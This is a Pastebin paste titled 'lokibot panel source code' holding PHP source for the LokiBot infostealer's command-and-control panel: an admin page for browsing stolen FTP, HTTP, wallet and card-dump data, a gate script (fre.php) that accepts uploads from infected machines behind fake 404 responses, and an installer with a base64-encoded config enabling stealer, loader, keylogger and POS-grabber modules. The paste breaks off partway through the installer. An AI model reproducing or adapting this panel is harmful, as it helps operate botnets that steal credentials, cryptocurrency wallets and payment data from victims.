Advertisement
PepperPotts

lokibot panel source code

Mar 24th, 2018
1,039
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 28.34 KB | None | 0 0
  1. /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  2. /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  3. /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  4.  
  5. PvqDq929BSx_A_D_M1n_a.php
  6.  
  7. //////////////////////////////////////
  8.  
  9.  
  10. <?php
  11.     if(!defined('IN_LOKI'))
  12.         define('IN_LOKI', 1);
  13.        
  14.     $Protocol    = "http://";
  15.     if (isset($_SERVER['HTTPS']) && strtoupper($_SERVER['HTTPS']) == 'ON')
  16.         $Protocol = "https://";
  17.        
  18.     $ScriptName  = $_SERVER['SCRIPT_NAME'];
  19.     $Server      = "";//$_SERVER['HTTP_HOST'];
  20.     $UserAgent   = $_SERVER['HTTP_USER_AGENT'];
  21.     $ScriptURL   = /*$Protocol . $Server .*/  $ScriptName;
  22.     $Config      = "config.inc.php";
  23.     $Install     = "install.php";
  24.     $IP__        =  "127.0.0.1";
  25.     $Country__   =  "XX";
  26.     $LokiDBCon   = NULL;
  27.    
  28.     //http://php.net/manual/en/function.set-error-handler.php
  29.     set_error_handler('ErrorHandler', E_ALL);
  30.     function ErrorHandler( $errno, $errstr, $errfile, $errline, $errcontext)
  31.     {
  32.         $ErrorType = $errno;
  33.         switch($errno)
  34.         {
  35.             case E_ERROR:               $ErrorType = "E_ERROR"; break;
  36.             case E_WARNING:             $ErrorType = "E_WARNING"; break;
  37.             case E_PARSE:               $ErrorType = "E_PARSE"; break;
  38.             case E_NOTICE:              $ErrorType = "E_NOTICE"; break;
  39.             case E_CORE_ERROR:          $ErrorType = "E_CORE_ERROR"; break;
  40.             case E_CORE_WARNING:        $ErrorType = "E_CORE_WARNING"; break;
  41.             case E_COMPILE_ERROR:       $ErrorType = "E_COMPILE_ERROR"; break;
  42.             case E_COMPILE_WARNING:     $ErrorType = "E_COMPILE_WARNING"; break;
  43.             case E_USER_ERROR:          $ErrorType = "E_USER_ERROR"; break;
  44.             case E_USER_WARNING:        $ErrorType = "E_USER_WARNING"; break;
  45.             case E_USER_NOTICE:         $ErrorType = "E_USER_NOTICE"; break;
  46.             case E_STRICT:              $ErrorType = "E_STRICT"; break;
  47.             case E_RECOVERABLE_ERROR:   $ErrorType = "E_RECOVERABLE_ERROR"; break;
  48.             case E_DEPRECATED:          $ErrorType = "E_DEPRECATED"; break;
  49.             case E_USER_DEPRECATED:     $ErrorType = "E_USER_DEPRECATED"; break;
  50.         }
  51.  
  52.         $ErrorINfo_ = print_r($errstr, true) . " (".$ErrorType.")" . "   ". print_r($errfile, true) . " (".print_r($errline, true) . " line)";
  53.        
  54.        
  55.         global $LokiDBCon;
  56.         if($LokiDBCon != NULL)
  57.             $LokiDBCon->InsertData($ErrorINfo_, "error", time(), -1, 0, 0, TRUE);
  58.     }
  59.    
  60.     ob_start();
  61.  
  62.     if(!file_exists($Config))
  63.     {
  64.         require_once("inc/class/misc.class.php");
  65.         require_once("inc/class/mysqli.class.php");
  66.         if(file_exists($Install))
  67.             require_once($Install);
  68.         else
  69.             echo 'Can\' install script, '.$Install.' not exists!';
  70.         die();
  71.     }
  72.     else
  73.     {
  74.         if(file_exists($Install))
  75.         {
  76.             if(!unlink ($Install))
  77.             {
  78.                 echo 'Please remove '.$Install.' file!';
  79.                 die();
  80.             }
  81.         }
  82.     }
  83.    
  84.     require_once($Config);
  85.     require_once(INCLUDE_."/".LANG_DB);
  86.     require_once(INCLUDE_."/class/misc.class.php");
  87.    
  88.     if (isset($White_Lists) && is_array($White_Lists))
  89.     {
  90.         if ((count($White_Lists) && array_search(GetClientIP(), $White_Lists, true) === false) || (AUTH_AGENT && AGENT_ != $UserAgent))
  91.             Exit404(E404_);
  92.     }
  93.  
  94.     require_once(INCLUDE_."/class/mysqli.class.php");
  95.     require_once(INCLUDE_."/class/worker.class.php");
  96.    
  97.     if(strstr(strtolower($ScriptName), "panel.php") || strstr(strtolower($ScriptName), "index.php") || strstr(strtolower($ScriptName), "admin.php") || strstr(strtolower($ScriptName), "login.php"))
  98.         die("Please change admin panel file name!");
  99.    
  100.     ob_end_clean ();
  101.    
  102.     $Action = '';
  103.     if(isset($_REQUEST[ACTVALUE_]))
  104.     {
  105.         $Action  = trim($_REQUEST[ACTVALUE_]);
  106.         if (array_search($Action, array('error', 'bot', 'command', 'ftp', 'wallet', 'http', 'chart', 'exit', 'other', 'random', 'settings', 'report', 'download', 'dump')) === false)
  107.             $Action = 'main';
  108.     }
  109.  
  110.     $Option_     = isset($_REQUEST[OPTVALUE_]) ? trim($_REQUEST[OPTVALUE_]) : '';
  111.     $AuthCookie  = isset($_COOKIE[COOKIE_])     ? trim($_COOKIE[COOKIE_]) : '';
  112.     $AuthUrl     = isset($_REQUEST[AUTHVALUE_]) ? trim($_REQUEST[AUTHVALUE_]) : '';
  113.    
  114.     $AuthSuccess = FALSE;
  115.     $AuthAttemp  = isset($_REQUEST['iU']) && isset($_REQUEST['iP']);
  116.     $AuthUser    = $AuthPass = '';
  117.    
  118.     require_once(INCLUDE_."/class/wallet.class.php");
  119.  
  120.     $LokiDBCon = new LokiDB($DBData['hostname'], $DBData['username'], $DBData['password'], $DBData['database'], $DBData['port'],  $DBData['prefix'], FALSE, TRUE, 3);
  121.  
  122.     require_once(INCLUDE_."/class/login.class.php");
  123.  
  124.     $SettingsLang = $LokiDBCon->GetSettings("LangID");
  125.     if($SettingsLang != NULL)
  126.         $Lang = $SettingsLang;
  127.  
  128.     $SettingsPageLimit = $LokiDBCon->GetSettings("PageLimit");
  129.     if($SettingsPageLimit != NULL)
  130.         $PageLimit = intval($SettingsPageLimit);
  131.  
  132.     if(isset($_REQUEST['pI'])) $PageID = intval(trim($_REQUEST['pI']));
  133.     if(isset($_REQUEST['pL'])) $PageLimit = intval(trim($_REQUEST['pL']));
  134.  
  135.    
  136.     if(isset($_REQUEST['tD']))
  137.     {
  138.         $TotalPages_ = ceil(trim($_REQUEST['tD']) / $PageLimit);
  139.         if($PageID - 1 > $TotalPages_)
  140.             $PageID = 1;
  141.     }
  142.    
  143.    
  144.     $StartFrom = ($PageID - 1) * $PageLimit;
  145.  
  146.     $LINK_Download  = "?" . ACTVALUE_ . "=download&" . OPTVALUE_ . "=";
  147.     $LINK_Report    = "?" . ACTVALUE_ . "=report&"   . OPTVALUE_ . "=view&id=";
  148.     $LINK_Delete    = "?" . ACTVALUE_ . "=" . $Action . "&" . OPTVALUE_ . "=flush&id=";
  149.     $LINK_Export    = "?" . ACTVALUE_ . "=" . $Action . "&" . OPTVALUE_ . "=export";
  150.  
  151.  
  152.     if($Action == 'chart')
  153.     {
  154.         require_once(INCLUDE_."/class/chart.class.php");
  155.         die();
  156.     }
  157.     else if($Action == 'exit')
  158.     {
  159.         $LokiDBCon->RemoveAuthCookie();
  160.         setcookie(COOKIE_, '', 1);
  161.         header('Location: '. $ScriptURL);
  162.         die();
  163.     }
  164.     else if($Action == 'download')
  165.     {
  166.         if($Option_ == 'datadl' && strlen($Option_) && isset($_REQUEST['id']) && strlen(trim($_REQUEST['id'])))
  167.         {
  168.             $Data = $LokiDBCon->ExportDatabyID(trim($_REQUEST['id']));
  169.             if($Data)
  170.             {
  171.                 $File___ = TEMP_ . '/' . $Data;
  172.                 if(file_exists($File___))
  173.                 {
  174.                     $Buffer = DecryptWallet(file_get_contents($File___), ENCKEY_);
  175.                     SetDownloadHeader(NowDate("Ymd_His") . "_" . $Data);
  176.                     echo $Buffer;
  177.                 }
  178.             }
  179.             die();
  180.         }
  181.         else if($Option_ == 'datar' && strlen($Option_) && isset($_REQUEST['id']) && strlen(trim($_REQUEST['id'])))
  182.         {
  183.             $Data = $LokiDBCon->ExportDatabyID(trim($_REQUEST['id']));
  184.             if($Data)
  185.             {
  186.                 $File___ = TEMP_ . '/' . $Data;
  187.                 if(file_exists($File___))
  188.                 {
  189.                     $Buffer = DecryptWallet(file_get_contents($File___), ENCKEY_);
  190.                     //SetDownloadHeader(NowDate("Ymd_His") . "_" . $Data);
  191.                     echo "<pre>";
  192.                     echo htmlentities($Buffer, ENT_QUOTES);
  193.                     echo "</pre>";
  194.                 }
  195.             }
  196.             die();
  197.         }
  198.         if($Option_ == 'wallet' && strlen($Option_) && isset($_REQUEST['id']) && strlen(trim($_REQUEST['id'])))
  199.         {
  200.             $Data = TEMP_ . '/' . trim($_REQUEST['id']);
  201.             if(file_exists($Data))
  202.             {
  203.                 $Buffer = DecryptWallet(file_get_contents($Data), ENCKEY_);
  204.                 SetDownloadHeader(NowDate("Ymd_His") . "_" . trim($_REQUEST['id']));
  205.                 echo $Buffer;
  206.             }
  207.  
  208.             die();
  209.         }
  210.        
  211.         if($Option_ == 'report' && strlen($Option_) && isset($_REQUEST['id']) && strlen(trim($_REQUEST['id'])))
  212.         {
  213.             $Mark_ = FALSE;
  214.             if(isset($_REQUEST['m']))
  215.                 $Mark_ = trim($_REQUEST['m']);
  216.            
  217.             $Data = $LokiDBCon->ExportReport_(trim($_REQUEST['id']), $Mark_);
  218.             if($Data != NULL)
  219.             {
  220.                 SetDownloadHeader($Data['Name'] . '.zip');
  221.                 echo $Data['Data'];
  222.             }
  223.            
  224.             die();
  225.         }
  226.         die();
  227.     }
  228.  
  229.     include_once(INCLUDE_ . "/page/header.inc.php"); //OK
  230.  
  231.     if($Action == 'ftp' OR $Action == 'http' OR $Action == 'other')
  232.         include_once(INCLUDE_ . "/page/data.inc.php");
  233.     else if($Action == 'report')
  234.         include_once(INCLUDE_ . "/page/report.inc.php");
  235.     else if($Action == 'wallet')
  236.         include_once(INCLUDE_ . "/page/wallet.inc.php");
  237.     else if($Action == 'command')
  238.         include_once(INCLUDE_ . "/page/command.inc.php");
  239.     else if($Action == 'dump')
  240.         include_once(INCLUDE_ . "/page/dump.inc.php");
  241.     else if($Action == 'bot')
  242.         include_once(INCLUDE_ . "/page/bot.inc.php");
  243.     else if($Action == 'error')
  244.         include_once(INCLUDE_ . "/page/error.inc.php");
  245.     else if($Action == 'settings')
  246.         include_once(INCLUDE_ . "/page/settings.inc.php");
  247.     else
  248.         include_once(INCLUDE_ . "/page/main.inc.php"); //OK
  249.  
  250.     die_();
  251.  
  252.  
  253. /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  254. /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  255. /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  256.  
  257. fre.php
  258.  
  259. //////////////////////////////////////
  260.  
  261. <?php
  262.     define("CONFIG_FILE", "config.inc.php");
  263.    
  264.     ob_start();
  265.     if(file_exists(CONFIG_FILE))
  266.     {
  267.         require_once(CONFIG_FILE);
  268.         require_once(INCLUDE_."/class/misc.class.php");
  269.         require_once(INCLUDE_."/class/worker.class.php");
  270.         require_once(INCLUDE_."/class/mysqli.class.php");
  271.        
  272.         if (isset($White_BotAgents_Lists) && is_array($White_BotAgents_Lists))
  273.         {
  274.             if ((count($White_BotAgents_Lists) && array_search($_SERVER['HTTP_USER_AGENT'], $White_BotAgents_Lists, TRUE) === FALSE))
  275.             {
  276.                 header("HTTP/1.0 404 Not Found");
  277.                 header("Status: 404 Not Found");
  278.                 $_SERVER['REDIRECT_STATUS'] = 404;
  279.                
  280.                 die("File not found.");
  281.             }
  282.         }
  283.        
  284.         ob_end_clean();
  285.  
  286.         if(isset($_SERVER['CONTENT_LENGTH']))
  287.         {
  288.             $Report = new Report($DBData, file_get_contents('php://input'), intval($_SERVER['CONTENT_LENGTH']), ENCKEY_, TEMP_);
  289.             $Report = NULL;
  290.         }
  291.     }
  292.  
  293.     header("HTTP/1.0 404 Not Found");
  294.     header("Status: 404 Not Found");
  295.     $_SERVER['REDIRECT_STATUS'] = 404;
  296.    
  297.     die("File not found.");
  298.  
  299.  
  300. /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  301. /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  302. /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  303.  
  304. install.php
  305.  
  306. //////////////////////////////////////
  307.  
  308. <?php
  309.     if(!defined('IN_LOKI')) die("File not found.");
  310.    
  311.     $Modules_ = array(
  312.    
  313.         array("mysqli_connect", "MySQLi", "apt-get install php5-mysql(i) / yum install php-mysqli"),
  314.         array("mcrypt_encrypt", "Mcrypt", "apt-get install php5-mcrypt / yum install php-mcrypt"),
  315.         //array("sqlite_open", "Sqlite", "apt-get install php5-sqlite / yum install php-sqlite"),
  316.         array("gd_info", "GD", "apt-get install php5-gd / yum install php-gd"),
  317.         array("gmp_mul", "GMP", "apt-get install php5-gmp / yum install php-gmp")  
  318.     );
  319.    
  320.     $bMissing = FALSE;
  321.    
  322.     foreach ($Modules_ as $Element)
  323.     {
  324.         if (!function_exists($Element[0]))
  325.         {
  326.             echo "$Element[1] extension not loaded.\n";
  327.             echo "$Element[2]\n";
  328.            
  329.             $bMissing = TRUE;
  330.         }  
  331.     }
  332.  
  333.     if($bMissing)
  334.         die();
  335.    
  336.     error_reporting(NULL);
  337. ?>
  338. <!DOCTYPE html>
  339. <html>
  340.     <head>
  341.         <meta http-equiv="content-type" content="text/html; charset=UTF-8">
  342.         <title>Install</title>
  343.     </head>
  344.     <body>
  345. <style>
  346.     .ab{
  347.         margin: auto;
  348.         position: absolute;
  349.         top: -200px;
  350.         left: 0;
  351.         bottom: 0;
  352.         right: 0;
  353.     }
  354.     .ab.is {
  355.         width: 50%;
  356.         height: 50%;
  357.         min-width: 200px;
  358.         max-width: 400px;
  359.         padding: -20px;
  360.     }
  361.  
  362. </style>
  363. <script type="text/javascript">
  364. <!--
  365.     function SetVisibility(ElementID)
  366.     {
  367.        var Element = document.getElementById(ElementID);
  368.        if(Element.style.display == 'block')
  369.           Element.style.display = 'none';
  370.        else
  371.           Element.style.display = 'block';
  372.     }
  373. function PasswordCheck(Pass1, Pass2)
  374. {
  375.     var Result = true;
  376.    
  377.     if (Pass1 != Pass2)
  378.     {
  379.         alert('Password don\'t match!');
  380.         Result = false;
  381.     }
  382.    
  383.     if (Pass1.length < 5)
  384.     {
  385.         alert('Password too short!');
  386.         Result = false;
  387.     }
  388.    
  389.     return Result;
  390. }
  391. </script>
  392. <?php
  393.     $ConfigBuffer = 'PD9waHANCglpZiAoYmFzZW5hbWUoJF9TRVJWRVJbJ1BIUF9TRUxGJ10pID09IGJhc2VuYW1lKF9fRklMRV9fKSkgZGllKCJGaWxlIG5vdCBmb3VuZC4iKTsNCg0KCUBkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdFdXJvcGUvTWluc2snKTsNCglAc2V0X3RpbWVfbGltaXQoTlVMTCk7DQoJQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsIE5VTEwpOw0KDQoJJERCRGF0YSA9IGFycmF5DQoJKA0KCQknaG9zdG5hbWUnID0+ICI8TVlTUUxIT1NUPiIsDQoJCSd1c2VybmFtZScgPT4gIjxNWVNRTFVTRVI+IiwNCgkJJ3Bhc3N3b3JkJyA9PiAiPE1ZU1FMUEFTUz4iLA0KCQknZGF0YWJhc2UnID0+ICI8TVlTUUxEQj4iLA0KCQkncG9ydCcgCSAgID0+IDxNWVNRTFBPUlQ+LA0KCQkncHJlZml4JyAgID0+ICI8TVlTUUxQUkVGSVg+IiwNCgkJJ2Flc19rZXknICA9PiAwLA0KCSk7DQoJDQoJZGVmaW5lKCJJTl9MT0tJIiwgCQlUUlVFKTsNCgkNCglkZWZpbmUoIkxBTkdfREIiLCAJCSJsYW5nLmRiLnBocCIpOw0KCWRlZmluZSgiVElUTEUiLCAJCSJMb2tpIFBXUyIpOw0KCQ0KCWRlZmluZSgiTEFOR18iLCAJCSJlbiIpOw0KCWRlZmluZSgiRTQwNF8iLCAJCSJGaWxlIG5vdCBmb3VuZC4iKTsNCgkNCglkZWZpbmUoIkRFQlVHXyIsCQlUUlVFKTsNCglkZWZpbmUoIkNBUFRDSEEiLCAJCTxVU0VDQVBUQ0hBPik7DQoJZGVmaW5lKCJBVVRIX1VSTCIsIAkJPFVTRVVSTD4pOw0KCWRlZmluZSgiQVVUSF9BR0VOVCIsIAk8VVNFQUdFTlQ+KTsNCgkNCglkZWZpbmUoIlRFTVBfIiwgCQkiPFRNUERJUj4iKTsNCglkZWZpbmUoIlVSTF8iLCAJCQkiPFVSTD4iKTsNCglkZWZpbmUoIkFHRU5UXyIsIAkJIjxBR0VOVD4iKTsNCglkZWZpbmUoIklOQ0xVREVfIiwgCQkiPElOQ0xVREU+Iik7DQoJZGVmaW5lKCJXQUxMRVRfIiwgCQkiPFdFQktFWT4iKTsNCglkZWZpbmUoIkVOQ0tFWV8iLCAJCSI8RklMRUtFWT4iKTsNCglkZWZpbmUoIkNPT0tJRV8iLCAJCSI8Q09PS0lFPiIpOw0KCWRlZmluZSgiRVhURU5TSU9OXyIsIAkiLnR4dCIpOw0KCQ0KCWRlZmluZSgiQUNUVkFMVUVfIiwgCSI8UkFORDE+Iik7DQoJZGVmaW5lKCJPUFRWQUxVRV8iLCAJIjxSQU5EMj4iKTsNCglkZWZpbmUoIkFVVEhWQUxVRV8iLCAJIjxSQU5EMz4iKTsNCgkNCglkZWZpbmUoIk1PRFVMRV9TVEVBTEVSIiwJCTxTVEVBTEVSPik7DQoJZGVmaW5lKCJNT0RVTEVfTE9BREVSIiwJCQk8TE9BREVSPik7DQoJZGVmaW5lKCJNT0RVTEVfV0FMTEVUIiwJCQk8V0FMTEVUPik7DQoJZGVmaW5lKCJNT0RVTEVfRklMRV9HUkFCQkVSIiwJPEZJTEVHUkFCQkVSPik7DQoJZGVmaW5lKCJNT0RVTEVfU1RSRVNTRVIiLAkJPFNUUkVTU0VSPik7DQoJZGVmaW5lKCJNT0RVTEVfUE9TX0dSQUJCRVIiLAk8UE9TR1JBQkJFUj4pOw0KCWRlZmluZSgiTU9EVUxFX0tFWUxPR0dFUiIsCQk8S0VZTE9HR0VSPik7DQoJZGVmaW5lKCJNT0RVTEVfU0NSRUVOU0hPVCIsCQk8U0NSRUVOU0hPVD4pOw0KCQ0KCWlmKERFQlVHXykNCgl7DQoJCUBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsJ09uJyk7DQoJCUBpbmlfc2V0KCdlcnJvcl9yZXBvcnRpbmcnLCBFX0FMTCk7DQoJfQ0KCWVsc2UNCgl7DQoJCUBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsJ09mZicpOw0KCQlAaW5pX3NldCgnZXJyb3JfcmVwb3J0aW5nJywgTlVMTCk7DQoJfQ0KCQ0KDQoJJFdoaXRlX0JvdEFnZW50c19MaXN0cyA9IGFycmF5ICgiTW96aWxsYS80LjA4IChDaGFyb247IEluZmVybm8pIik7DQoJJFdoaXRlX0xpc3RzID0gYXJyYXkoKTsNCg0KCSRMYW5nCQkgPSBMQU5HXzsNCgkkUGFnZUxpbWl0REIgPSBhcnJheSAoIDEwLCAyMCwgMzAsIDUwLCAxMDApOyANCgkkUGFnZUxpbWl0IAkgPSAxMDsNCgkkUGFnZUlEICAgIAkgPSAxOw0KDQoJJFByaXZpbGVnZXNEQiA9IGFycmF5IA0KCSgNCgkJMCA9PiAnUmVhZCwgRXhwb3J0LCBEZWxldGUsIFNldHRpbmdzLCAuLiAoQUxMKScsIA0KCQkxID0+ICdSZWFkLCBFeHBvcnQsIERlbGV0ZScNCgkpOw0KCQ0KCSRDb21tYW5kc0RCID0gYXJyYXkgDQoJKA0KCQkwID0+ICdEb3dubG9hZCAmIFJ1bicsIA0KCQkxID0+ICdEb3dubG9hZCAmIExvYWQnLA0KCQkyID0+ICdEb3dubG9hZCAmIERyb3AnLA0KCQkzID0+ICctJywNCgkJOCAgPT4gJ1JlbW92ZSBIYXNoIERCJywNCgkJOSAgPT4gJ0VuYWJsZSBLZXlsb2dnZXInLA0KCQkxMCA9PiAnQ29sbGVjdCBQYXNzd29yZCcsDQoJCTExID0+ICdDb2xsZWN0IFdhbGxldCcsDQoJCTEyID0+ICdDb2xsZWN0IEZpbGUnLA0KCQkxMyA9PiAnQ29sbGVjdCBCaW4vRHVtcCcsDQoJCQ0KCQkxNCA9PiAnU2h1dGRvd24gQm90IChPbmx5IEJvdCwgbm90IFBDKScsDQoJCTE1ID0+ICdVcGRhdGUgQm90JywNCgkJMTYgPT4gJ1VwZGF0ZSByZWNvbm5lY3QgaW50ZXJ2YWxsJywNCgkJMTcgPT4gJ1VuaW5zdGFsbCBCb3QnLA0KCQkxOCA9PiAnU2NyZWVuc2hvdCcsDQoJKTsNCgkNCgkkUGFnZSA9IGFycmF5KCk7DQoJDQoJaWYoTU9EVUxFX0xPQURFUikNCgl7DQoJCWlmKCFNT0RVTEVfU1RSRVNTRVIpDQoJCQl1bnNldCgkQ29tbWFuZHNEQlszXSk7DQoJCWlmKCFNT0RVTEVfRklMRV9HUkFCQkVSKQ0KCQkJdW5zZXQoJENvbW1hbmRzREJbMTJdKTsNCgkJaWYoIU1PRFVMRV9QT1NfR1JBQkJFUikNCgkJCXVuc2V0KCRDb21tYW5kc0RCWzEzXSk7DQoJCWlmKCFNT0RVTEVfS0VZTE9HR0VSKQ0KCQkJdW5zZXQoJENvbW1hbmRzREJbMTBdKTsNCgkJDQoJCSRQYWdlID0gYXJyYXkNCgkJKA0KCQkJYXJyYXkoIm1haW4iLCAiTWFpbiIpLA0KCQkJYXJyYXkoIiAiLCAiQm90cyIsIA0KCQkJCWFycmF5KA0KCQkJCQlhcnJheSgiYm90IiwgIkJvdHMiKSwgDQoJCQkJCWFycmF5KCIgIiwgImRpdmlkZXIiKSwgDQoJCQkJCWFycmF5KCJjb21tYW5kIiwgIkNvbW1hbmRzIikNCgkJCQkpKSwNCgkJCQkNCgkJCWFycmF5KCIgIiwgIlJlcG9ydHMiLCANCgkJCQlhcnJheSgNCgkJCQkJYXJyYXkoInJlcG9ydCIsICJSZXBvcnRzIiksDQoJCQkJCWFycmF5KCIgIiwgImRpdmlkZXIiKSwNCgkJCQkJYXJyYXkoImh0dHAiLCAiSFRUUCIpLCANCgkJCQkJYXJyYXkoImZ0cCIsICJGVFAvU1NIIiksIA0KCQkJCQlhcnJheSgib3RoZXIiLCAiT3RoZXJzIiksIA0KCQkJCQlhcnJheSgid2FsbGV0IiwgIldhbGxldCIpLA0KCQkJCQlhcnJheSgiZHVtcCIsICJEdW1wcyIpDQoJCQkJKSksDQoJCQkJDQoJCQlhcnJheSgic2V0dGluZ3MiLCAiU2V0dGluZ3MiKSwgDQoJCQlhcnJheSgiZXhpdCIsICJFeGl0IikNCgkJKTsNCgkJDQoJCWlmKCFNT0RVTEVfU1RFQUxFUikNCgkJew0KCQkJdW5zZXQoJFBhZ2VbMl1bMl1bMl0pOw0KCQkJdW5zZXQoJFBhZ2VbMl1bMl1bM10pOw0KCQkJdW5zZXQoJFBhZ2VbMl1bMl1bNF0pOw0KCQkJdW5zZXQoJENvbW1hbmRzREJbMTBdKTsNCgkJfQ0KCQlpZighTU9EVUxFX1dBTExFVCkNCgkJew0KCQkJdW5zZXQoJENvbW1hbmRzREJbMTFdKTsNCgkJCXVuc2V0KCRQYWdlWzJdWzJdWzVdKTsNCgkJfQ0KCQlpZighTU9EVUxFX1NDUkVFTlNIT1QpDQoJCQl1bnNldCgkQ29tbWFuZHNEQlsxOF0pOw0KCQlpZighTU9EVUxFX1BPU19HUkFCQkVSKQ0KCQkJdW5zZXQoJFBhZ2VbMl1bMl1bNl0pOw0KCX0NCgllbHNlDQoJew0KCQkkUGFnZSA9IGFycmF5DQoJCSgNCgkJCWFycmF5KCJtYWluIiwgIk1haW4iKSwgDQoJCQlhcnJheSgiaHR0cCIsICJIVFRQIiksIA0KCQkJYXJyYXkoImZ0cCIsICJGVFAvU1NIIiksDQoJCQlhcnJheSgib3RoZXIiLCAiT3RoZXJzIiksDQoJCQlhcnJheSgid2FsbGV0IiwgIldhbGxldCIpLA0KCQkJYXJyYXkoImR1bXBzIiwgIkR1bXBzIiksDQoJCQlhcnJheSgicmVwb3J0IiwgIlJlcG9ydHMiKSwNCgkJCWFycmF5KCJzZXR0aW5ncyIsICJTZXR0aW5ncyIpLCANCgkJCWFycmF5KCJleGl0IiwgIkV4aXQiKQ0KCQkpOw0KCQkNCgkJaWYoIU1PRFVMRV9TVEVBTEVSKQ0KCQl7DQoJCQl1bnNldCgkUGFnZVsxXSk7DQoJCQl1bnNldCgkUGFnZVsyXSk7DQoJCQl1bnNldCgkUGFnZVszXSk7DQoJCQkNCgkJCXVuc2V0KCRDb21tYW5kc0RCWzEwXSk7DQoJCX0NCgkJDQoJCWlmKCFNT0RVTEVfUE9TX0dSQUJCRVIpDQoJCQl1bnNldCgkUGFnZVs1XSk7DQoJCQ0KCQlpZighTU9EVUxFX1dBTExFVCkNCgkJCXVuc2V0KCRQYWdlWzRdKTsNCgl9DQo/Pg0K';
  394.    
  395.     if(isset($_REQUEST['acti']) && trim($_REQUEST['acti']) == 'install')
  396.     {
  397.             if(isset($_REQUEST['MHost']) && !file_exists($Config))
  398.             {
  399.                 $MySQLHost   = trim($_REQUEST['MHost']);
  400.                 $MySQLUser   = trim($_REQUEST['MUser']);
  401.                 $MySQLPass   = trim($_REQUEST['MPass']);
  402.                 $MySQLDB     = trim($_REQUEST['MDatabase']);
  403.                 $MySQLPrefix = trim($_REQUEST['MPrefix']);
  404.                 $MySQLPort   = trim($_REQUEST['MPort']);
  405.                 $UseAgent    = 'FALSE';
  406.                 $UseUrl      = 'FALSE';
  407.                 $AuthAgent   = '';
  408.                 $AuthUrl     = '';
  409.                 $Username = trim($_REQUEST['MPrefix']);
  410.                 $Password = trim($_REQUEST['MPort']);
  411.                 if(isset($_REQUEST['UseAgent']) && trim($_REQUEST['UseAgent']) == 'on')
  412.                 {
  413.                     $AuthAgent = trim($_REQUEST['UserAgent']);
  414.                     $UseAgent  = 'TRUE';
  415.                 }
  416.                 if(isset($_REQUEST['UseUrl']) && trim($_REQUEST['UseUrl']) == 'on')
  417.                 {
  418.                     $AuthUrl = MakeRandomString(11, TRUE);
  419.                     $UseUrl  = 'TRUE';
  420.                 }
  421.                
  422.                 if(!strlen($MySQLPort))
  423.                     $MySQLPort = 0;
  424.                
  425.                 if(!strlen($MySQLPrefix))
  426.                     $MySQLPrefix = MakeRandomString(4, TRUE);
  427.                
  428.                 $ConfigBuffer = base64_decode($ConfigBuffer);
  429.                 $ConfigBuffer = str_replace("<LANG>", "en", $ConfigBuffer);
  430.                 $ConfigBuffer = str_replace("<MYSQLHOST>", $MySQLHost, $ConfigBuffer);
  431.                 $ConfigBuffer = str_replace("<MYSQLUSER>", $MySQLUser, $ConfigBuffer);
  432.                 $ConfigBuffer = str_replace("<MYSQLPASS>", $MySQLPass, $ConfigBuffer);
  433.                 $ConfigBuffer = str_replace("<MYSQLPORT>", intval($MySQLPort), $ConfigBuffer);
  434.                 $ConfigBuffer = str_replace("<MYSQLDB>", $MySQLDB, $ConfigBuffer);
  435.                 $ConfigBuffer = str_replace("<MYSQLPREFIX>", $MySQLPrefix, $ConfigBuffer);
  436.                 $ConfigBuffer = str_replace("<USEAGENT>", $UseAgent, $ConfigBuffer);
  437.                
  438.                 $ConfigBuffer = str_replace("<USECAPTCHA>", "1", $ConfigBuffer);
  439.                 $ConfigBuffer = str_replace("<USEURL>", $UseUrl, $ConfigBuffer);
  440.                
  441.                 $ConfigBuffer = str_replace("<AGENT>", $AuthAgent, $ConfigBuffer);
  442.                 $ConfigBuffer = str_replace("<COOKIE>", MakeRandomString(8, TRUE), $ConfigBuffer);
  443.                 $TmpName = MakeRandomString(7, TRUE);
  444.                 $ConfigBuffer = str_replace("<TMPDIR>", $TmpName, $ConfigBuffer);
  445.                 $Include = MakeRandomString(7, TRUE);
  446.                 $ConfigBuffer = str_replace("<INCLUDE>", $Include, $ConfigBuffer);
  447.                 $ConfigBuffer = str_replace("<FILEKEY>", MakeRandomString(7, TRUE), $ConfigBuffer);
  448.                 $WebKey = MakeRandomString(15, TRUE);
  449.                 $ConfigBuffer = str_replace("<WEBKEY>", $WebKey, $ConfigBuffer);
  450.                
  451.                 $AuthLink = MakeRandomString(4, TRUE);
  452.                
  453.                 $ConfigBuffer = str_replace("<RAND1>", MakeRandomString(4, TRUE), $ConfigBuffer);
  454.                 $ConfigBuffer = str_replace("<RAND2>", MakeRandomString(4, TRUE), $ConfigBuffer);
  455.                 $ConfigBuffer = str_replace("<RAND3>", $AuthLink, $ConfigBuffer);
  456.                
  457.                 $ConfigBuffer = str_replace("<URL>", $AuthUrl, $ConfigBuffer);
  458.                
  459.                 $ConfigBuffer = str_replace("<LOADER>", "1", $ConfigBuffer);
  460.                 $ConfigBuffer = str_replace("<WALLET>", "0", $ConfigBuffer);
  461.                 $ConfigBuffer = str_replace("<STEALER>", "1", $ConfigBuffer);
  462.                 $ConfigBuffer = str_replace("<FILEGRABBER>", "0", $ConfigBuffer);
  463.                 $ConfigBuffer = str_replace("<STRESSER>", "0", $ConfigBuffer);
  464.                 $ConfigBuffer = str_replace("<POSGRABBER>", "0", $ConfigBuffer);
  465.                 $ConfigBuffer = str_replace("<KEYLOGGER>", "0", $ConfigBuffer);
  466.                 $ConfigBuffer = str_replace("<SCREENSHOT>", "0", $ConfigBuffer);
  467.                
  468.                 $LokiDBCon = new LokiDB($MySQLHost, $MySQLUser, $MySQLPass, $MySQLDB, $MySQLPort,  $MySQLPrefix, TRUE, TRUE);
  469.                
  470.                 $LokiDBCon->AddNewUser($_REQUEST['iUa'], $_REQUEST['iPa'], 0);
  471.                
  472.                 if(!file_exists ($TmpName))
